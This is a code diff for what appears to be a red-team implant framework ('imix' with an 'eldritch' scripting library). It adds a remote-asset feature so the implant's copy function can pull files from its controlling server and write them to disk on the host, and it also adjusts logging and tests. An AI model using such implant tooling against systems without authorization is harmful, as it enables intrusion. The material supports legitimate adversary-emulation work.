Implement assets remote api

.github/workflows/tests.yml

@@ -34,7 +34,7 @@ jobs:
       uses: codecov/codecov-action@v3
   implants:
     runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
+    timeout-minutes: 60
     strategy:
       matrix:
         os:

implants/imix/src/task.rs

@@ -158,14 +158,18 @@ impl TaskHandle {
                 let resp = match file_chunk.recv() {
                     Ok(r) => r,
                     Err(_err) => {
-                        #[cfg(debug_assertions)]
-                        log::error!(
-                            "failed to download file chunk: task_id={}, name={}: {}",
-                            task_id,
-                            req.name(),
-                            _err
-                        );
-
+                        match _err.to_string().as_str() {
+                            "receiving on a closed channel" => {}
+                            _ => {
+                                #[cfg(debug_assertions)]
+                                log::error!(
+                                    "failed to download file chunk: task_id={}, name={}: {}",
+                                    task_id,
+                                    req.name(),
+                                    _err
+                                );
+                            }
+                        }
                         return;
                     }
                 };

implants/lib/eldritch/Cargo.toml

@@ -30,6 +30,7 @@ nix = { workspace = true }
 notify = { workspace = true }
 object = { workspace = true }
 openssl = { workspace = true, features = ["vendored"] }
+pretty_env_logger = { workspace = true }
 prost = { workspace = true}
 prost-types = { workspace = true }
 regex = { workspace = true }

implants/lib/eldritch/src/assets.rs

@@ -6,16 +6,16 @@ mod read_impl;
 use allocative::Allocative;
 use derive_more::Display;
 
+use rust_embed::RustEmbed;
+use serde::{Serialize, Serializer};
 use starlark::environment::{Methods, MethodsBuilder, MethodsStatic};
+use starlark::eval::Evaluator;
 use starlark::values::none::NoneType;
 use starlark::values::{
     starlark_value, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike,
 };
 use starlark::{starlark_module, starlark_simple_value};
 
-use rust_embed::RustEmbed;
-use serde::{Serialize, Serializer};
-
 #[cfg(debug_assertions)]
 #[derive(RustEmbed)]
 #[folder = "../../../bin/embedded_files_test"]
@@ -71,9 +71,9 @@ impl<'v> UnpackValue<'v> for AssetsLibrary {
 #[rustfmt::skip]
 #[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)]
 fn methods(builder: &mut MethodsBuilder) {
-    fn copy(this: AssetsLibrary, src: String, dest: String) -> anyhow::Result<NoneType> {
+    fn copy<'v>(this: AssetsLibrary, starlark_eval: &mut Evaluator<'v, '_>, src: String, dest: String) -> anyhow::Result<NoneType> {
         if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); }
-        copy_impl::copy(src, dest)?;
+        copy_impl::copy(starlark_eval, src, dest)?;
         Ok(NoneType{})
     }
     fn list(this: AssetsLibrary) -> anyhow::Result<Vec<String>> {

implants/lib/eldritch/src/assets/copy_impl.rs

@@ -1,7 +1,9 @@
-use anyhow::Result;
-use std::fs;
+use crate::runtime::Client;
+use anyhow::{Context, Result};
+use starlark::{eval::Evaluator, values::list::ListRef};
+use std::{fs, sync::mpsc::Receiver};
 
-pub fn copy(src: String, dst: String) -> Result<()> {
+fn copy_local(src: String, dst: String) -> Result<()> {
     let src_file = match super::Asset::get(src.as_str()) {
         Some(local_src_file) => local_src_file.data,
         None => return Err(anyhow::anyhow!("Embedded file {src} not found.")),
@@ -13,28 +15,139 @@ pub fn copy(src: String, dst: String) -> Result<()> {
     }
 }
 
+fn copy_remote(file_reciever: Receiver<Vec<u8>>, dst: String) -> Result<()> {
+    loop {
+        let val = match file_reciever.recv() {
+            Ok(v) => v,
+            Err(err) => {
+                match err.to_string().as_str() {
+                    "channel is empty and sending half is closed" => {
+                        break;
+                    }
+                    "timed out waiting on channel" => {
+                        continue;
+                    }
+                    _ => {
+                        #[cfg(debug_assertions)]
+                        log::debug!("failed to drain channel: {}", err)
+                    }
+                }
+                break;
+            }
+        };
+        match fs::write(dst.clone(), val) {
+            Ok(_) => {}
+            Err(local_err) => return Err(local_err.try_into()?),
+        };
+    }
+
+    Ok(())
+}
+
+pub fn copy(starlark_eval: &mut Evaluator<'_, '_>, src: String, dst: String) -> Result<()> {
+    let remote_assets = starlark_eval.module().get("remote_assets");
+
+    if let Some(assets) = remote_assets {
+        let tmp_list = ListRef::from_value(assets).context("`remote_assets` is not type list")?;
+        let src_value = starlark_eval.module().heap().alloc_str(&src);
+
+        if tmp_list.contains(&src_value.to_value()) {
+            let client = Client::from_extra(starlark_eval.extra)?;
+            let file_reciever = client.request_file(src)?;
+
+            return copy_remote(file_reciever, dst);
+        }
+    }
+    copy_local(src, dst)
+}
+
 #[cfg(test)]
 mod tests {
-    use super::*;
-    use std::io::prelude::*;
+    use crate::Runtime;
+
+    use std::{collections::HashMap, io::prelude::*};
     use tempfile::NamedTempFile;
 
+    // fn init_log() {
+    //     pretty_env_logger::formatted_timed_builder()
+    //         .filter_level(log::LevelFilter::Info)
+    //         .parse_env("IMIX_LOG")
+    //         .init();
+    // }
+
+    // #[tokio::test]
+    // async fn test_remote_copy() -> anyhow::Result<()> {
+    //     // Create files
+    //     let mut tmp_file_dst = NamedTempFile::new()?;
+    //     let path_dst = String::from(tmp_file_dst.path().to_str().unwrap());
+
+    //     let (sender, reciver) = channel::<Vec<u8>>();
+    //     sender.send("Hello from a remote asset".as_bytes().to_vec())?;
+
+    //     copy_remote(reciver, path_dst)?;
+
+    //     let mut contents = String::new();
+    //     tmp_file_dst.read_to_string(&mut contents)?;
+    //     assert!(contents.contains("Hello from a remote asset"));
+    //     Ok(())
+    // }
+
+    // #[tokio::test]
+    // async fn test_remote_copy_full() -> anyhow::Result<()> {
+    //     init_log();
+    //     log::debug!("Testing123");
+
+    //     // Create files
+    //     let mut tmp_file_dst = NamedTempFile::new()?;
+    //     let path_dst = String::from(tmp_file_dst.path().to_str().unwrap());
+
+    //     let (runtime, broker) = Runtime::new();
+    //     let handle = tokio::task::spawn_blocking(move || {
+    //         runtime.run(crate::pb::Tome {
+    //             eldritch: r#"assets.copy("test_tome/test_file.txt", input_params['test_output'])"#
+    //                 .to_owned(),
+    //             parameters: HashMap::from([("test_output".to_string(), path_dst)]),
+    //             file_names: Vec::from(["test_tome/test_file.txt".to_string()]),
+    //         })
+    //     });
+    //     handle.await?;
+    //     println!("{:?}", broker.collect_file_requests().len());
+    //     assert!(broker.collect_errors().is_empty()); // No errors even though the remote asset is inaccessible
+
+    //     let mut contents = String::new();
+    //     tmp_file_dst.read_to_string(&mut contents)?;
+    //     // Compare - Should be empty basically just didn't error
+    //     assert!(contents.contains(""));
+
+    //     Ok(())
+    // }
+
     #[test]
     fn test_embedded_copy() -> anyhow::Result<()> {
         // Create files
         let mut tmp_file_dst = NamedTempFile::new()?;
         let path_dst = String::from(tmp_file_dst.path().to_str().unwrap());
 
-        // Run our code
         #[cfg(any(target_os = "linux", target_os = "macos"))]
-        copy("exec_script/hello_world.sh".to_string(), path_dst)?;
+        let path_src = "exec_script/hello_world.sh".to_string();
         #[cfg(target_os = "windows")]
-        copy("exec_script/hello_world.bat".to_string(), path_dst)?;
+        let path_src = "exec_script/hello_world.bat".to_string();
+
+        let (runtime, broker) = Runtime::new();
+        runtime.run(crate::pb::Tome {
+            eldritch: r#"assets.copy(input_params['src_file'], input_params['test_output'])"#
+                .to_owned(),
+            parameters: HashMap::from([
+                ("src_file".to_string(), path_src),
+                ("test_output".to_string(), path_dst),
+            ]),
+            file_names: Vec::from(["test_tome/test_file.txt".to_string()]),
+        });
+
+        assert!(broker.collect_errors().is_empty()); // No errors even though the remote asset is inaccessible
 
-        // Read
         let mut contents = String::new();
         tmp_file_dst.read_to_string(&mut contents)?;
-        // Compare
         assert!(contents.contains("hello from an embedded shell script"));
 
         Ok(())

implants/lib/eldritch/src/runtime/exec.rs

@@ -196,6 +196,10 @@ impl Runtime {
             input_params.insert_hashed(hashed_key, new_value);
         }
         module.set("input_params", input_params.alloc_value(module.heap()));
+        module.set(
+            "remote_assets",
+            tome.file_names.clone().alloc_value(module.heap()),
+        );
 
         Ok(module)
     }